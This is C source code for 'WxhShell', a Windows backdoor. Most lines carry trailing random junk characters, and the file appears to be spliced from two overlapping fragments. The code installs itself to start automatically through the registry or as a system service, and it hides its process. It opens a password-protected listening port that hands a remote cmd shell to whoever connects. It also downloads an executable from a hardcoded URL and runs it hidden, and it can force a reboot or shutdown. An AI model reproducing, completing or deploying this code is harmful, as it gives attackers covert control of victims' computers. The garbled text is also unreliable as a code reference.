    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vBM uVpzO  
    if(Boot(SHUTDOWN)) $ylQ \Y'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \G3 P[E[  
    else { *q?-M"K  
    closesocket(wsh); HywT  
    ExitThread(0); =9lrPQ]w  
    } ^k'?e"[gTs  
    break; ]<pnHh+2A  
    } 6a+w/IO3OU  
  // 获取shell ha;Xali ]  
  case 's': { Y=%SK8]Q;  
    CmdShell(wsh); rcC}4mNe  
    closesocket(wsh); _e ]jz2j  
    ExitThread(0); `sS\8~A  
    break; uG|d7LS,%  
  } ,+u.FQv~  
  // 退出 =1JS6~CTLN  
  case 'x': { _?vh#6F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "!9hcv- ;  
    CloseIt(wsh); Gj~1eS  
    break; B]`!L/  
    } n>)'!   
  // 离开 0g-bApxz*&  
  case 'q': { X"hoDg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sG/mmZHYzr  
    closesocket(wsh); 9(9+h]h+3  
    WSACleanup(); .%.kEJh`  
    exit(1); Vr1Wr%  
    break; $a.!X8sHB.  
        } GwOn&EpY!  
  } BEQ$p) h  
  } 8sDbvVh1F  
ZfpV=DU  
  // 提示信息 r((2.,\Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B@:c 8}2.  
} +0w~Skd,  
  } d6$,iw@>^  
14[+PoF^A  
  return; `]Uu`b  
} }@6/sg  
2(-J9y|  
// shell模块句柄 ?P+n0S!  
int CmdShell(SOCKET sock) z/JoU je  
{ ArFsr  
STARTUPINFO si; Kk}|[\fW  
ZeroMemory(&si,sizeof(si)); m3apeIEi[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h\oAW?^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kQ,#NR/q6  
PROCESS_INFORMATION ProcessInfo; x>>#<hOz[  
char cmdline[]="cmd"; 'IorjR@ 40  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FS3MR9  
  return 0; W\'njN  
} X{n7)kgL  
K3jPTAw=#  
// 自身启动模式 c+6/@y  
int StartFromService(void) WjyuaAWY  
{ E%eTjvvxus  
typedef struct dQ6n[$Q@N  
{ jWn!96NhlL  
  DWORD ExitStatus; SIJ:[=5!7  
  DWORD PebBaseAddress; IL:d`Kbqf  
  DWORD AffinityMask; xiu?BP?V  
  DWORD BasePriority; b`NXe7A  
  ULONG UniqueProcessId; jV(\]g"/=  
  ULONG InheritedFromUniqueProcessId; >&@hm4  
}   PROCESS_BASIC_INFORMATION; `1cGb*b/  
z (N3oBW  
PROCNTQSIP NtQueryInformationProcess; E8TJ*ZU  
vybQ}dscn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yIm@m[B;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O/X;(qYd  
U>q&p}z0 H  
  HANDLE             hProcess; AN!MFsk  
  PROCESS_BASIC_INFORMATION pbi; [DW}z  
3)F9:Tzw1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cm~h\+"  
  if(NULL == hInst ) return 0; -S7PnR6  
y8Q96zi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =h?Q.vad  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .Z,3:3,]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5yvaY "B  
jpL' y1@Ut  
  if (!NtQueryInformationProcess) return 0; $jt  UQ1  
,BK6a'1J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;l^4/BR  
  if(!hProcess) return 0; ?;{fqeJz  
v&6=(k{E@R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -mSiZ  
l!n<.tQW  
  CloseHandle(hProcess); ]gN]Cw\L  
Z_ Gb9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xx;RH9YYz  
if(hProcess==NULL) return 0; x.V6C0|6"  
Cd4a7<-  
HMODULE hMod; 4Xna}7  
char procName[255]; <OKzb3e  
unsigned long cbNeeded; u9WQ0.  
pNOVyyo>BW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2<d l23  
kI|Vv90l  
  CloseHandle(hProcess); KY)r kfo B  
"3!!G=s P  
if(strstr(procName,"services")) return 1; // 以服务启动 M7Pvc%\)  
VZOf|o  
  return 0; // 注册表启动 R3MbTg  
} o8!gV/oy  
QN%w\ JXS  
// 主模块 1B;-ea  
int StartWxhshell(LPSTR lpCmdLine) *. H1m{V  
{ xS~O Acxg  
  SOCKET wsl; O1/U3 /2/d  
BOOL val=TRUE; s]=s2.=  
  int port=0; +O< 0q"E  
  struct sockaddr_in door; !B=Oc!e=K  
;WQ@dC  
  if(wscfg.ws_autoins) Install(); "J0,SFu:  
; Q-f6)+&  
port=atoi(lpCmdLine); fIrl?X']  
x\=2D<@az  
if(port<=0) port=wscfg.ws_port; gTI!b  
l2DhFt$!=  
  WSADATA data; T[w]w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }$K2h*  
3Lxk7D>0c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \]y4e^FZZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uV]4C^k;`[  
  door.sin_family = AF_INET; ,hj5.;M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >U~B"'!xV  
  door.sin_port = htons(port); ?[4!2T,Ca  
Ua.7_Em  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )PC(1Zn  
closesocket(wsl); u-W6 hZ$  
return 1; :Zy7h7P,lT  
} )"  H$1  
]Gw?DD|Gn  
  if(listen(wsl,2) == INVALID_SOCKET) { S~"1q 0  
closesocket(wsl); 32_{nLV$[  
return 1; ILt95l  
} zl>l.zJ  
  Wxhshell(wsl); #;bpxz1lR9  
  WSACleanup(); v1hrRf2<  
*}9i@DP1,  
return 0; q&IO9/[dk  
LEM{$Fxo&  
} K)2ZH@  
c5uT'P"  
// 以NT服务方式启动 {}?;|&_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0A%>'<  
{ Gt&x<  
DWORD   status = 0; o.tCw\M$g  
  DWORD   specificError = 0xfffffff; 0B(<I?a/  
xF)AuGdp\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mU1lEx$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1sFTXl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WA-` *m$v  
  serviceStatus.dwWin32ExitCode     = 0; m`<Mzk.u<  
  serviceStatus.dwServiceSpecificExitCode = 0; RUTlwTdv  
  serviceStatus.dwCheckPoint       = 0; h+mM  
  serviceStatus.dwWaitHint       = 0; I)~&6@J n  
e&dE>m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nZ>bOP+,  
  if (hServiceStatusHandle==0) return; (7RxCo=X  
Cc:4n1|]>  
status = GetLastError(); q #f U*  
  if (status!=NO_ERROR) :$&%Pxm  
{ lAsDdxB`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +w Oa  
    serviceStatus.dwCheckPoint       = 0; ,jWMJ0X/N=  
    serviceStatus.dwWaitHint       = 0; i/rdPbq  
    serviceStatus.dwWin32ExitCode     = status; I xT[1$e  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; Xy\7tx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uLYz!E+E  
    return; Q)\7(n  
  } EG5'kYw2  
$'3`$   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +zxj-di M  
  serviceStatus.dwCheckPoint       = 0; LOyL:~$  
  serviceStatus.dwWaitHint       = 0; xq:.|{HUk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <dx xXzLT  
} _//)|.6c3  
bWv4'Y!p  
// 处理NT服务事件,比如:启动、停止 =z'w-ARy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DSY:aD!  
{ U^4 /rbQ  
switch(fdwControl) mj0{Nd  
{ N9r}nqCN  
case SERVICE_CONTROL_STOP: :+ef|,:`/  
  serviceStatus.dwWin32ExitCode = 0; lkf(t&vL2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .gNWDk0$Y  
  serviceStatus.dwCheckPoint   = 0; JGPLVw  
  serviceStatus.dwWaitHint     = 0; >=hO jV;  
  { UhCE.# U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -f0Nb+AR  
  } jR@j+p^e  
  return; X>mY`$!/  
case SERVICE_CONTROL_PAUSE: P  F!S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !RLg[_'  
  break; y@[}FgVOh  
case SERVICE_CONTROL_CONTINUE: \^iPU 27H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &?^S`V8R*  
  break; _Zya GDv  
case SERVICE_CONTROL_INTERROGATE: !3>(fj+QS  
  break; <@FOqi{o{  
}; V,bfD3S3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); THirh6  
} b:.aZ7+4  
&eV& +j  
// 标准应用程序主函数 W)jO 4,eO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SU OuayE  
{ &Zl$7  
>N>WOLbb7(  
// 获取操作系统版本 9l2,:EQ*  
OsIsNt=GetOsVer(); &^e%gU8!\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }f)$+mi  
hoI?,[@F  
  // 从命令行安装 $X_JUzb  
  if(strpbrk(lpCmdLine,"iI")) Install(); @-bX[}.  
E4RvVfA0F  
  // 下载执行文件 C.V")D=  
if(wscfg.ws_downexe) { [-!   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I_@\O!<y}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2't<Hl1qN  
} cZKK\hf<  
!=@Lyt)_b  
if(!OsIsNt) { S!qJqZ<Bv  
// 如果时win9x,隐藏进程并且设置为注册表启动 `k65&]&d  
HideProc(); *@fR36  
StartWxhshell(lpCmdLine); FX7=81**4  
} z]ZhvH7-  
else a&~_ba+  
  if(StartFromService()) 3DnlXH(h1  
  // 以服务方式启动 9^h\vR|]S  
  StartServiceCtrlDispatcher(DispatchTable); mD-qJ6AM  
else <`*}$Zh  
  // 普通方式启动 Pk[:+. f(  
  StartWxhshell(lpCmdLine); vJDK]p<}  
obRR))  
return 0; *]~ug%a  
} tVd\r"0k  
2yR*<yj  
+ 8 5]]}I  
2<wuzP|  
=========================================== -}0S%|#m  
Et ty{r}  
 sBY*9I  
tWQ_.,ld  
;>_\oZGj_  
cVJ"^wgBt  
" V0 x[sEW  
{~>?%]tf  
#include <stdio.h> [H z_x(t26  
#include <string.h> <qN0Q7  
#include <windows.h> fv_}7t7  
#include <winsock2.h> {]<l|qK  
#include <winsvc.h> zu'Uau  
#include <urlmon.h> Ql a'vcT  
j*>+^g\Q6  
#pragma comment (lib, "Ws2_32.lib") 3}=r.\]U  
#pragma comment (lib, "urlmon.lib") :S}!i?n  
~C=I{qzF+  
#define MAX_USER   100 // 最大客户端连接数 TSqfl/UI  
#define BUF_SOCK   200 // sock buffer .MkHB0 2N  
#define KEY_BUFF   255 // 输入 buffer M3@Wb@  
\UM9cAX`  
#define REBOOT     0   // 重启 ^]w!ow41  
#define SHUTDOWN   1   // 关机 y:(OZ%g  
;vvO#3DWM  
#define DEF_PORT   5000 // 监听端口 p C l[DE  
k@U8K(:x  
#define REG_LEN     16   // 注册表键长度 /e :V44  
#define SVC_LEN     80   // NT服务名长度 >f#P(  
w~a^r]lPW  
// 从dll定义API PVHJIB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~4h<nc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6s\niro2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  S[!K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \$Y Kw0K  
6M9t<DQV  
// wxhshell配置信息 k\$))<3  
struct WSCFG { ,dn9tY3  
  int ws_port;         // 监听端口 '_,/N!-V  
  char ws_passstr[REG_LEN]; // 口令 O,R5csMh  
  int ws_autoins;       // 安装标记, 1=yes 0=no GZ0? C2\  
  char ws_regname[REG_LEN]; // 注册表键名 5ckL=q"+/  
  char ws_svcname[REG_LEN]; // 服务名 p3ox%4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~>&7~N8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1S9(Zn[2,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @5N^^B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [2?|BUtD[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XlUM~(7+v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B*btt+6  
_#@n^c  
}; k `JP  
Y $hYW  
// default Wxhshell configuration ~$n4Yuu2[  
struct WSCFG wscfg={DEF_PORT, `v3WJ>Q!N?  
    "xuhuanlingzhe", H-A?F ^#  
    1, DhY.5  
    "Wxhshell", b"n8~Vd  
    "Wxhshell", I Y%M5(&Q  
            "WxhShell Service", w>Iw&US  
    "Wrsky Windows CmdShell Service", W1'F)5(?7  
    "Please Input Your Password: ", uKc x$  
  1, IvGQ7 VLr  
  "http://www.wrsky.com/wxhshell.exe", "s!!\/^9C  
  "Wxhshell.exe" 0+MNu8t  
    }; twElLOE  
-V0_%Smc  
// 消息定义模块 HA&7 ybl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jb~$Vrdy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H'k$<S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y,Dd} an  
char *msg_ws_ext="\n\rExit."; 3qJOE6[}%  
char *msg_ws_end="\n\rQuit."; hw! l{yv  
char *msg_ws_boot="\n\rReboot..."; /ivcqVu]  
char *msg_ws_poff="\n\rShutdown..."; _R&mN\ey5  
char *msg_ws_down="\n\rSave to "; `i5U&K. 7  
.GcIwP'aU-  
char *msg_ws_err="\n\rErr!"; ^hq+ L^$^  
char *msg_ws_ok="\n\rOK!"; |/<,71Ae  
.j?`U[V%a  
char ExeFile[MAX_PATH]; ws8@y r<R  
int nUser = 0; abiZ"?(  
HANDLE handles[MAX_USER]; p=%Vo@*]  
int OsIsNt; s}Phw2`1U  
!/] F.0  
SERVICE_STATUS       serviceStatus; >qj.!npQD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M)S(:Il6Xx  
z~&uLu  
// 函数声明 8G$ %DZ $  
int Install(void); ^mxOQc !  
int Uninstall(void); ZoX24C'  
int DownloadFile(char *sURL, SOCKET wsh); m>yb}+  
int Boot(int flag); xCN6?  
void HideProc(void); {gh41G;n  
int GetOsVer(void); X`#,*HkK  
int Wxhshell(SOCKET wsl); 8K+(CS>xvO  
void TalkWithClient(void *cs); |dIP &9  
int CmdShell(SOCKET sock); ql"&E{u?  
int StartFromService(void); a&:1W83  
int StartWxhshell(LPSTR lpCmdLine); ;pe1tp  
H$'|hUwds%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .T~<[0Ex+U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =k.:XblEe[  
EdGA#i3  
// 数据结构和表定义 ,fWQSc\}  
SERVICE_TABLE_ENTRY DispatchTable[] = ;W%nBdE6|  
{ (NfP2E|B  
{wscfg.ws_svcname, NTServiceMain}, aAM!;3j]B`  
{NULL, NULL} F6>K FU8  
}; :5)Dn87  
vHR-mQUs  
// 自我安装 W P7RX|7  
int Install(void) ;R[  xo!  
{ fM,!9}<  
  char svExeFile[MAX_PATH]; 48%-lkol)  
  HKEY key; V{!fag  
  strcpy(svExeFile,ExeFile); +c)"p4m  
$t*>A+J  
// 如果是win9x系统,修改注册表设为自启动 6cR}Mm9Hx3  
if(!OsIsNt) { L8OW@)|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h>ZNPP8N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oi#4|*b{W  
  RegCloseKey(key); ]vj.s/F~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $cl[Qcw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;]*V6!6RR  
  RegCloseKey(key); wQ1_Q8:Z  
  return 0; 'Br:f_}  
    } y98 v  
  } /|7@rH([{  
} tW<i;2 l  
else { R7)\w P*l5  
5zk<s`h  
// 如果是NT以上系统,安装为系统服务 E :gS*tsY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w+A:]SU  
if (schSCManager!=0) Skb,cKU  
{ 0e./yPTT  
  SC_HANDLE schService = CreateService 'XW[uK]w)  
  ( >?Y)evW  
  schSCManager, 05sWN0  
  wscfg.ws_svcname, t<~WDI|AN  
  wscfg.ws_svcdisp, y{ & k`H  
  SERVICE_ALL_ACCESS, :~uvxiF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yz<,`w5/6~  
  SERVICE_AUTO_START, V+\L@mz;  
  SERVICE_ERROR_NORMAL, nP]tc  
  svExeFile, Q?"o.T';  
  NULL, IZ){xI  
  NULL, 99QMMup  
  NULL, :TU|;(p  
  NULL, #+VH]7]  
  NULL yf|,/{S  
  ); !Cqm=q{K  
  if (schService!=0) Wp2W:JX:  
  { \.0cA4)[$  
  CloseServiceHandle(schService); m/{HZKh  
  CloseServiceHandle(schSCManager); K6uZ4 m;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0[A4k:  
  strcat(svExeFile,wscfg.ws_svcname); {;:QY 1Q T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 48}L!m @  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C%c}lv8;^  
  RegCloseKey(key); P:~X az\F  
  return 0; XOOWrK7O  
    } NxOiT#YH  
  } euxkw]`h6  
  CloseServiceHandle(schSCManager); hbZ]DRg  
} Qu 7#^%=  
} )gX7qQ  
6snDv4  
return 1; 0^%\! Xxq  
} 3K{XT),  
A%Ov.~&\G  
// 自我卸载 =J@M, mbHg  
int Uninstall(void) r'TxYM-R  
{ [_$r-FA  
  HKEY key; :eK(9o  
l ~bjNhk  
if(!OsIsNt) { Z)JJ-V!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |AosZeO_  
  RegDeleteValue(key,wscfg.ws_regname); ~Onj| w7  
  RegCloseKey(key); 72i ]`   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 24Y8n  
  RegDeleteValue(key,wscfg.ws_regname); 8S8^sP  
  RegCloseKey(key); [{s 1= c  
  return 0; 4[\$3t.L  
  } / 7i>0J]  
} JPo.&5k  
} 33R1<dRk  
else { y#Cp Vm#!>  
UJ\[ ^/t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {z^6V\O5  
if (schSCManager!=0) WA'&0i4  
{ A$6T)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X jJV  
  if (schService!=0) tYe+7s  
  { ZQL4<fy'E  
  if(DeleteService(schService)!=0) { [Ej#NHs  
  CloseServiceHandle(schService); \BRx dK'  
  CloseServiceHandle(schSCManager); UxGr+q  
  return 0; *8QESF9  
  } D]n"`< Ho  
  CloseServiceHandle(schService); =)h<" 2  
  } O }ES/<an  
  CloseServiceHandle(schSCManager); \hlQu{q.  
} 7g* "AEk  
} ;8| D4+  
sl5y1W/]]  
return 1; -K"" 4SC2  
} y_s^dQe  
<N4)X"s  
// 从指定url下载文件 *\-R&8  
int DownloadFile(char *sURL, SOCKET wsh) asT/hsSNS  
{ {2A| F{7>  
  HRESULT hr; Vxr_2Kra  
char seps[]= "/"; 4$5d*7  
char *token; Dw%V.J/&o  
char *file; 2 }9of[  
char myURL[MAX_PATH]; (31ia"i%  
char myFILE[MAX_PATH]; c `[,>  
V6c>1nZ  
strcpy(myURL,sURL); *Ce8( "v,  
  token=strtok(myURL,seps); 1v<,nABuJ6  
  while(token!=NULL) @yGK $<R  
  { AZj `o  
    file=token; d9j+==S <  
  token=strtok(NULL,seps); J|O=w(  
  } -\6";_Y  
 |UudP?E  
GetCurrentDirectory(MAX_PATH,myFILE); O#}d!}SIp  
strcat(myFILE, "\\"); [N35.O6P6u  
strcat(myFILE, file); 5s5GBJ?  
  send(wsh,myFILE,strlen(myFILE),0); 5l(8{,NDt  
send(wsh,"...",3,0); X0QY:?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "8.to=Lx  
  if(hr==S_OK) _f"HUKGN  
return 0; /~8<;N>,+  
else %^`b)   
return 1; ^~p^N <  
{6y@;Fd  
} @;6I94Bp  
3Y;<Q>roT  
// 系统电源模块 9_$i.@L 1  
int Boot(int flag) T%[&[8{8  
{ yLC5S3^1\"  
  HANDLE hToken; &J]|pf3m  
  TOKEN_PRIVILEGES tkp; 4 6yq F  
[Iwb7a0p  
  if(OsIsNt) { m L#%H(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xr;:gz!h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ""Ub^:ucD  
    tkp.PrivilegeCount = 1; 8C[W;&Y=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &N+,{7.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s(0S)l<  
if(flag==REBOOT) { mY)Y47iL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =\QKzQ'BC  
  return 0; #mK/xbW  
} :jKiHeBQu?  
else { F6L}n-p5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -T,/S^  
  return 0; Y%OJ3B(n|  
} (O[:-Aqm  
  } `rwzCwA1  
  else { %(P\"hE'  
if(flag==REBOOT) { 6'F4p1VG*I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eU*0;#  
  return 0;  WR;)  
} :2 Fy`PPab  
else { V(?PKb-w)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?Z1&ju,Hd-  
  return 0; ,m HQ  
} j;BMuLTm1  
} 7U3b YU~;  
i"B q*b@  
return 1; Tc3~~X   
} nEG+TRZ)\  
0\y{/P?I$  
// win9x进程隐藏模块 fQ[& ^S$  
void HideProc(void) [|vE*&:uO  
{ y^iju(  
1xBg^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q.b<YRZ  
  if ( hKernel != NULL ) x;w^&<hQ\  
  { G*`H2-,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,Ky-3p>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bV3az/U  
    FreeLibrary(hKernel); I7S#vIMXR.  
  } "3?N*,U_  
@W|N1,sp  
return; !5wuBJ0  
} mY'c<>6t  
aFbIJm=!  
// 获取操作系统版本 3IlflXb  
int GetOsVer(void) q^I/  
{ h1A/:/_M6  
  OSVERSIONINFO winfo; pBbfU2p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >RTmfV  
  GetVersionEx(&winfo); 7GFE5>H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DHnO ,"  
  return 1; hoDE*>i  
  else +H4H$H  
  return 0; j "^V?e5  
} 2!Gb4V  
O^2@9 w  
// 客户端句柄模块 hoOT]Bsn  
int Wxhshell(SOCKET wsl) M'gL_Xsei  
{ T, z80m}  
  SOCKET wsh; nZtP!^#  
  struct sockaddr_in client; D,c53B6M  
  DWORD myID; 'G#T 6B!  
^p}S5,  
  while(nUser<MAX_USER) Q,`R-?v  
{ ULJV  
  int nSize=sizeof(client); Ch;wvoy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c*@#0B  
  if(wsh==INVALID_SOCKET) return 1; "R!) "B==  
'f "KV|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !EuqJjh  
if(handles[nUser]==0) 8NUVHcB6  
  closesocket(wsh); d41DcgG'j(  
else !Z}d^$  
  nUser++; CI}zu;4|  
  } 4H]~]?F&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lG>,&(  
!#[=,'Y  
  return 0; `a+"[%  
} ;/79tlwq  
er%D`VHe  
// 关闭 socket )o;oOPT!  
void CloseIt(SOCKET wsh) `zw^ WbCO{  
{ Ocp`6Fj  
closesocket(wsh); oZ!1^o3V  
nUser--; ElK7jWJ+  
ExitThread(0); ~x #RIt  
} YTk"'q-  
W[R^5{k`  
// 客户端请求句柄 [d3i _^\  
void TalkWithClient(void *cs) nl\l7/}6  
{ !4 =]@eFk  
pVa9g)+z}  
  SOCKET wsh=(SOCKET)cs; ,SQ`, C _5  
  char pwd[SVC_LEN]; "gQ-{ W  
  char cmd[KEY_BUFF]; ]E:K8E  
char chr[1]; 3$yOv "`  
int i,j; ~ZuFMVR  
fp)%Cr  
  while (nUser < MAX_USER) { [J-uvxD  
knS(\51A  
if(wscfg.ws_passstr) { ER'zjI>t@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {: H&2iF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |({ M8!BS  
  //ZeroMemory(pwd,KEY_BUFF); qrw"z iW  
      i=0; ih[!v"bv  
  while(i<SVC_LEN) { $.0l% $7  
Pqtk1=U  
  // 设置超时 xk/osbKn  
  fd_set FdRead; 3&tJD  
  struct timeval TimeOut; {}A1[ Y|  
  FD_ZERO(&FdRead); 'Y;M%  
  FD_SET(wsh,&FdRead); @,i_Gw)  
  TimeOut.tv_sec=8; U%?  
  TimeOut.tv_usec=0; A{IJ](5.kd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /9 ^F_2'_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }NgevsV>;  
iKVJ c=C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t~0!K;nn  
  pwd=chr[0]; |vUjoa'.7E  
  if(chr[0]==0xd || chr[0]==0xa) { v&]k8Hc-  
  pwd=0; ~ 5@bW J  
  break; wa f)S=  
  } ":meys6t#  
  i++; Gkr?M^@K  
    } \kS:u}Ip!  
oz[Mt i*  
  // 如果是非法用户,关闭 socket H-g CY|W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |3SM  
}  qH9bo-6  
M. o}?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); # ^q87y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,g~Iup  
t8:QK9|1  
while(1) { m~;}8ObQE  
R<eD)+  
  ZeroMemory(cmd,KEY_BUFF); IJQ" *;  
O+w82!<:  
      // 自动支持客户端 telnet标准   5 >c,#*  
  j=0; xJ(}?0h-X  
  while(j<KEY_BUFF) { n8RE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a@ v}j&  
  cmd[j]=chr[0]; O>tz;RU  
  if(chr[0]==0xa || chr[0]==0xd) { ,"xr^@W  
  cmd[j]=0; V\6V&_  
  break; ,l )7]p*X  
  } CEXD0+\q  
  j++; ar[I| Q_  
    } Tfow_t}\  
Z.$)#vM5  
  // 下载文件 BufXnMh.  
  if(strstr(cmd,"http://")) { ;RUod .x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EU,f;H  
  if(DownloadFile(cmd,wsh)) r Y#^C  
